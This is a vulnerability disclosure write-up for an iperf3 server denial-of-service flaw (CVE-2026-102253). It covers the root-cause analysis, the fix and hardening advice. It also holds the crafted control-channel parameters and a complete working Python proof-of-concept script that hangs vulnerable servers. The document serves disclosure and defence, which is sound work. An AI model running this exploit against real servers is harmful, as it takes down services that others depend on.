CVE-2026-102253 · iperf3 >= 3.14, < 3.22 · CWE-835 → CWE-400 · CVSS 4.0 8.7 High (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) · Fixed in iperf3 3.22 · Coordinated through VulnCheck. Official record: cve.org/CVE-2026-102253 · vendor release 3.22 · VulnCheck advisory

TL;DR

iperf3 is the network throughput tool everyone reaches for — iperf3 -s on one box, iperf3 -c on another, read the bandwidth number. It runs on routers, in CI pipelines, on lab servers, and on a surprising number of internet-facing hosts people spin up “just to run a quick test” and forget about.

I found that an iperf3 server, in its default configuration, can be frozen solid by an unauthenticated attacker with one small control message and one 16-byte UDP packet. No credentials, no valid test, no memory corruption — just a number set to zero in the right place, which turns the server’s receive loop into an infinite loop. The affected thread pins a CPU core at ~100% and never comes back; the process has to be SIGKILLed. One packet, and your iperf3 server is a space heater.

  • Affected: iperf3 (esnet/iperf), versions 3.14 through 3.21
  • Fixed in: iperf3 3.22 — upgrade is the fix
  • Impact: Unauthenticated remote denial of service — CVSS 4.0 8.7 High
  • Root cause: a loop stride taken from attacker-controlled input, with a validation gap that lets that stride be 0
  • Weakness: CWE-835 (Loop with Unreachable Exit Condition) → CWE-400 (Uncontrolled Resource Consumption)

Why iperf3’s server is an interesting target

iperf3 has a client and a server, and they speak a small custom protocol over a TCP control channel (default port 5201) before any measurement happens. The client connects, the two sides exchange a JSON blob of test parameters — protocol (TCP or UDP), block size, duration, parallelism, and so on — and then the actual data test runs over TCP or UDP.

The thing to notice is that the server trusts the client to describe the test. Those parameters aren’t just hints; they configure buffer sizes and loop bounds in the server’s own data path. That’s fine when the peer is a real iperf3 client — but nothing stops a peer from being a few dozen lines of Python that speak the wire protocol directly and send parameter values a real client never would.

That gap — “values a real client never sends, but the server still accepts” — is exactly where this bug lives.

The bug

The loop

When the server receives UDP data, it walks the receive buffer one datagram at a time in iperf_udp_recv() (src/iperf_udp.c). The loop advances by a stride called dgram_sz:

// src/iperf_udp.c (abridged)
while (buf_sz >= dgram_sz && dgram_buf + dgram_sz <= dgram_buf_end) {
    if (buf_sz < min_pkt_size)   // min_pkt_size == 12
        break;
    /* ... parse the 12/20-byte packet header ... */
    dgram_buf += dgram_sz;       // advance by the stride
    buf_sz    -= dgram_sz;       // consume the stride
}

Read the loop with dgram_sz == 0 in mind. If the stride is zero:

  • dgram_buf += 0 — the pointer never moves.
  • buf_sz -= 0 — the remaining-bytes counter never shrinks.
  • The only early break fires when buf_sz < 12 — but buf_sz never changes, so if it started at ≥ 12 it stays there forever.

Every condition that could end the loop depends on progress the loop never makes. Enter it once with at least 12 bytes in the buffer and a stride of zero, and it spins forever at 100% CPU. That’s textbook CWE-835 — a loop whose exit condition is unreachable.

So the whole bug reduces to one question: can an attacker make dgram_sz zero? dgram_sz comes straight from the negotiated block size (blksize), which comes straight from the client’s len parameter. So: can the client set len to 0 for a UDP test?

The validation gap

It’s supposed to be impossible. iperf3 validates blksize after parsing the parameters, in get_parameters() (src/iperf_api.c). Here’s the check:

// src/iperf_api.c (abridged)
if ((test->protocol->id != Pudp && test->settings->blksize <= 0)   // non-UDP: rejects 0
    || test->settings->blksize > MAX_BLOCKSIZE) {
    i_errno = IEBLOCKSIZE; return -1;
}
if (test->protocol->id == Pudp &&
    (test->settings->blksize > 0 &&                                 // <-- the bug
        (test->settings->blksize < MIN_UDP_BLOCKSIZE ||
         test->settings->blksize > MAX_UDP_BLOCKSIZE))) {
    i_errno = IEUDPBLOCKSIZE; return -1;
}

Look at the two branches:

  • The non-UDP branch rejects blksize <= 0 outright. Good.
  • The UDP branch range-checks blksize… but only “when blksize > 0”. The entire UDP validation is guarded by blksize > 0, so when blksize is exactly 0, the range check is skipped — and the non-UDP branch above doesn’t apply to UDP. blksize == 0 sails through both checks for UDP.

The parse step earlier only rejects negative values (len < 0), so len: 0 is accepted and stored. A genuine iperf3 client never sends this — when you run iperf3 -c host -u -l 0, the client resolves 0 to a concrete size from the path MTU before it ever hits the wire (iperf_client_api.c). The zero only survives if the peer is speaking the protocol by hand. Which an attacker is.

Getting to the loop with bytes in the buffer

There’s one more hop. With blksize == 0, the plain UDP read path asks the socket for 0 bytes, gets 0 back, and returns early — safe. You need the receive buffer to actually contain data while the stride stays zero.

UDP GRO (Generic Receive Offload) does exactly that. If the parameters also set gro: 1 with a positive gro_bf_size, the receive size is taken from gro_bf_size instead of blksize (src/iperf_udp.c), so the server reads up to gro_bf_size bytes into the buffer — while dgram_sz is still derived from blksize == 0. UDP_GRO is a standard, unprivileged socket option on modern Linux. That’s the combination: buffer non-empty, stride zero, loop infinite.

A dead end worth recording: I initially expected skip_rx_copy + MSG_TRUNC to be a second trigger. It isn’t — iperf_new_stream() allocates the stream buffer with mmap(NULL, blksize, …), and mmap of size 0 fails with EINVAL before the stream (and its receive thread) is ever created. So the non-GRO path kills itself early. Only the GRO path reaches the loop — I verified this experimentally rather than assuming it, which mattered, because the “obvious” trigger would have made for a false report.

This is not a prior-CVE rerun

iperf3 had a cluster of security fixes shortly before this (CVE-2025-54349 / 54350 / 54351) covering iperf_auth.c and a --skip-rx-copy buffer overflow in net.c. This is a distinct code path and a distinct root cause — a liveness bug in the UDP receive loop, not a memory-safety bug — so none of those fixes touch it.

Impact

On a default iperf3 -s, one crafted exchange plus one 16-byte UDP datagram pins the per-stream receive thread at ~100% CPU permanently. The test never completes, the server can’t clean the connection up on its own, and — as the official advisory notes — the process doesn’t respond to normal control-channel closure and has to be killed with SIGKILL.

Because iperf3 -s serves one test at a time by default, that single packet takes the whole server down until a human intervenes. Point the trigger at each core’s worth of workers and you exhaust the host. It’s a clean availability denial of service: no data is read or altered, nothing is corrupted — the server is simply gone. That’s why it scores confidentiality/integrity None, availability High → CVSS 4.0 8.7.

Proof of concept

The PoC is a standalone Python 3 script — no iperf3 client binary required. It speaks the control protocol directly: cookie, parameter exchange, stream creation, then one malicious UDP datagram.

Run this only against a server you own, on an isolated host. It will hang the target until you SIGKILL it.

Terminal 1 — start a vulnerable server (any 3.14–3.21 build):

./src/iperf3 -s -p 5201

Terminal 2 — fire the PoC:

python3 poc_udp_dos.py <server-ip> 5201

The crafted parameter message is just this JSON, length-prefixed on the control channel:

{"udp":true,"len":0,"gro":1,"gro_bf_size":1000,"omit":0,"time":10,"parallel":1}

len:0 is the zero stride; gro:1 + gro_bf_size:1000 is what keeps bytes flowing into the buffer. After reaching TEST_RUNNING, the script sends one UDP datagram of 16 bytes, and the server never speaks again:

[*] Server state -> 9  (PARAM_EXCHANGE)
[*] Sending crafted params: {'udp': True, 'len': 0, 'gro': 1, 'gro_bf_size': 1000, ...}
[*] Server state -> 10 (CREATE_STREAMS)
[*] UDP connect reply: 36373839
[*] Server state -> 1
[*] Server state -> 2  (TEST_RUNNING)
[*] Sending ONE malicious UDP datagram (16 bytes, dgram_sz=0 -> infinite loop)
[+] Control channel produced no further data for 15s after the single trigger datagram

Confirm it independently with top -H -p <server-pid> — the receive thread sits at 99.9% CPU and accumulates CPU time without bound (I watched it climb for 65+ seconds of wall-clock with no recovery). Reproduced 3/3 against freshly started servers.

Full proof-of-concept source

The complete script — no third-party dependencies, standard library only. Save it as poc_udp_dos.py and run python3 poc_udp_dos.py <server-ip> [port] against a server you control.

#!/usr/bin/env python3
"""
CVE-2026-102253: iperf3 unauthenticated pre-auth infinite-loop / CPU-exhaustion DoS
CWE-835 (Loop with Unreachable Exit Condition) -> CWE-400 (Uncontrolled Resource Consumption)
CVSS 4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N = 8.7 HIGH
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 HIGH

Affected: iperf3 server (`iperf3 -s`), versions 3.14 through 3.21. Fixed in 3.22.
Component: src/iperf_udp.c:iperf_udp_recv(), src/iperf_api.c:get_parameters()

Root cause
----------
The UDP receive loop in iperf_udp_recv() advances by `dgram_sz`, which is
taken directly from the client-supplied "len" (blksize) control parameter:

    while (buf_sz >= dgram_sz && dgram_buf + dgram_sz <= dgram_buf_end) {
        ...
        dgram_buf += dgram_sz;
        buf_sz    -= dgram_sz;
    }

get_parameters() (src/iperf_api.c) validates blksize with two checks:

    if ((test->protocol->id != Pudp && test->settings->blksize <= 0)
        || test->settings->blksize > MAX_BLOCKSIZE) { reject }
    if (test->protocol->id == Pudp &&
        (test->settings->blksize > 0 &&
            (test->settings->blksize < MIN_UDP_BLOCKSIZE || ...))) { reject }

For UDP the range check is only applied *when blksize is already > 0*, so
blksize == 0 sails through both checks. A genuine iperf3 client never sends
len=0 for UDP (it resolves 0 to the path MTU beforehand in
iperf_client_api.c), so this requires a custom/raw client -- not achievable
by user error, only by a party who can reach the control port.

With dgram_sz == 0 and gro=1 (any positive gro_bf_size), a single UDP
datagram of >= 12 bytes causes iperf_udp_recv()'s loop to spin forever:
dgram_buf/buf_sz never change, and none of the loop's break conditions can
fire. The server's per-stream receive thread pins one CPU core at 100% and
never returns -- an unauthenticated, single-packet, remote CPU-exhaustion DoS.
(The alternate skip_rx_copy/MSG_TRUNC path described in initial review does
NOT reach the loop: iperf_new_stream() mmaps a buffer of size blksize, and
mmap(NULL, 0, ...) fails with EINVAL before the stream is even created. The
GRO path avoids this because gro_bf_size keeps the mmap'd buffer non-zero
while blksize/dgram_sz stays 0.)

This PoC speaks the iperf3 control-channel protocol directly (no iperf3
client binary needed) to reach TEST_RUNNING, then sends one crafted UDP
datagram and demonstrates the server thread never completes / pins a core.

Usage:
    python3 poc_udp_dos.py <server-ip> [port]
"""
import socket
import struct
import sys
import time

COOKIE_SIZE = 37
PARAM_EXCHANGE = 9
CREATE_STREAMS = 10
TEST_START = 1
TEST_RUNNING = 2

UDP_CONNECT_MSG = 0x36373839    # little-endian native value, matches iperf.h on LE hosts


def send_json(sock, obj):
    import json
    body = json.dumps(obj).encode()
    sock.sendall(struct.pack("!I", len(body)) + body)


def read_state(sock):
    b = sock.recv(1)
    if not b:
        raise RuntimeError("control channel closed")
    return b[0]


def main():
    if len(sys.argv) < 2:
        print(f"usage: {sys.argv[0]} <server-ip> [port]")
        sys.exit(1)
    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 5201

    print(f"[*] Connecting to iperf3 control port {host}:{port}")
    ctrl = socket.create_connection((host, port), timeout=10)

    cookie = ("poc-dos-" + "x" * (COOKIE_SIZE - 8))[:COOKIE_SIZE].encode()
    assert len(cookie) == COOKIE_SIZE
    ctrl.sendall(cookie)

    state = read_state(ctrl)
    print(f"[*] Server state -> {state} (expect {PARAM_EXCHANGE}=PARAM_EXCHANGE)")
    assert state == PARAM_EXCHANGE

    # Malicious params: UDP test, len(blksize)=0, gro=1 (GRO path).
    # Server defaults to RECEIVER mode, i.e. it will call iperf_udp_recv()
    # on datagrams *we* send it.
    #
    # Note: the skip_rx_copy (MSG_TRUNC) path described as an alternate
    # trigger fails earlier, during stream buffer setup (iperf_new_stream()
    # does mmap(NULL, blksize, ...) which errors out with EINVAL when
    # blksize==0), so the GRO path is what actually reaches iperf_udp_recv()
    # -- gro_bf_size keeps the mmap'd buffer non-zero-sized while blksize
    # (dgram_sz) stays 0.
    params = {
        "udp": True,
        "len": 0,
        "gro": 1,
        "gro_bf_size": 1000,
        "omit": 0,
        "time": 10,
        "parallel": 1,
    }
    print(f"[*] Sending crafted params: {params}")
    send_json(ctrl, params)

    state = read_state(ctrl)
    print(f"[*] Server state -> {state} (expect {CREATE_STREAMS}=CREATE_STREAMS)")
    assert state == CREATE_STREAMS

    print("[*] Opening UDP data socket and sending UDP 'connect' handshake")
    udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp.settimeout(5)
    udp.connect((host, port))
    udp.send(struct.pack("<I", UDP_CONNECT_MSG))
    reply = udp.recv(4)
    print(f"[*] UDP connect reply: {reply.hex()}")

    for _ in range(20):
        state = read_state(ctrl)
        print(f"[*] Server state -> {state}")
        if state == TEST_RUNNING:
            break

    print("[*] Sending ONE malicious UDP datagram (16 bytes, dgram_sz=0 -> infinite loop)")
    payload = b"\x00" * 16
    t0 = time.time()
    udp.send(payload)

    print("[*] Datagram sent. Server receive thread should now be spinning at 100% CPU.")
    print("[*] Verifying: control channel should now be unresponsive (no further state changes).")
    ctrl.settimeout(15)
    try:
        b = ctrl.recv(1)
        print(f"[!] Unexpected: control channel still responsive, got {b!r} "
              f"after {time.time()-t0:.1f}s -- server may not be vulnerable / already patched.")
    except socket.timeout:
        print(f"[+] Control channel produced no further data for 15s after the single "
              f"trigger datagram ({time.time()-t0:.1f}s total) -- consistent with the "
              f"receive thread being wedged in an infinite loop.")
        print("[+] Confirm independently with `top`/`perf top` on the server host: "
              "one core should be pinned at ~100% CPU by the iperf3 process, "
              "persisting indefinitely (until iperf3 is killed).")

    ctrl.close()
    udp.close()


if __name__ == "__main__":
    main()

The script does four things in sequence: sends the 37-byte cookie the protocol expects, sends the malicious parameter JSON (len: 0, gro: 1), opens the UDP data socket and completes its connect handshake, then sends exactly one 16-byte UDP datagram once the server reaches TEST_RUNNING. Everything after that is verification — it watches the control channel to confirm the server has gone silent, which is the observable signature of the receive thread being wedged in the infinite loop.

The fix

The vendor fixed it in iperf3 3.22 — upgrading is the remediation. If you run an iperf3 server anywhere reachable by untrusted hosts, update to 3.22 or later.

The fix matches what the root-cause analysis points at, and it’s worth noting there are two independent places to stop this — defense in depth:

  1. Validate the input. In get_parameters(), drop the blksize > 0 gate on the UDP range check so blksize == 0 (and any non-positive value) is rejected for UDP, exactly as the non-UDP branch already does. This closes the door at the boundary.
  2. Don’t trust the stride. In iperf_udp_recv(), treat dgram_sz <= 0 as a hard error before the loop. Even if a zero stride ever reached the loop through some other path, the loop still couldn’t spin. This makes the loop correct regardless of how its inputs were set.

The first fix is the specific patch; the second is the one that makes the bug class impossible. Good fixes do both — close the hole and make the dangerous primitive safe.

If you operate iperf3 servers

  • Upgrade to 3.22+. That’s the real fix.
  • Don’t leave iperf3 -s exposed to untrusted networks. It’s a testing tool, not a hardened service — bind it to the interface you actually test over, and firewall the control port (5201) off from the public internet.
  • The --authorized-users option (pre-shared RSA auth) blocks this, since the attacker never gets to the parameter exchange — but it’s not the default, and “turn on auth” is a weaker answer than “upgrade.”

Disclosure timeline

  • 2026-07-15 — Vulnerability found and confirmed with a local PoC.
  • 2026-09 — Reported for coordinated disclosure through VulnCheck (CNA); CVE reserved 2026-09-28.
  • 2026-09-29 — CVE-2026-102253 published; fix released in iperf3 3.22.

Credited as finder on the CVE record; VulnCheck coordinated. Thanks to the esnet/iperf maintainers for the fix and to VulnCheck for handling coordination.

Takeaways

  • A loop stride is a security boundary. The moment a loop advances by a value an attacker can influence, zero (and negative) are inputs you have to reason about — not edge cases, attack cases. while (remaining >= stride) with a controllable stride is a CWE-835 waiting to happen.
  • Guard clauses that are themselves guarded are a classic gap. The whole UDP range check was wrapped in blksize > 0, so the one value that needed rejecting — 0 — was the one value the guard excused. When you write if (x > 0 && out_of_range(x)) reject, you’ve quietly decided x == 0 is always fine. Make sure it is.
  • Verify the trigger, don’t assume it. The first exploitation path I thought of (skip_rx_copy) looked right and was wrong — the mmap(0) failure killed it before the loop. Building the actual PoC, rather than reasoning about it on paper, is what separated a real finding from a plausible-sounding false one.

— Ravindu Lakmina Munaweera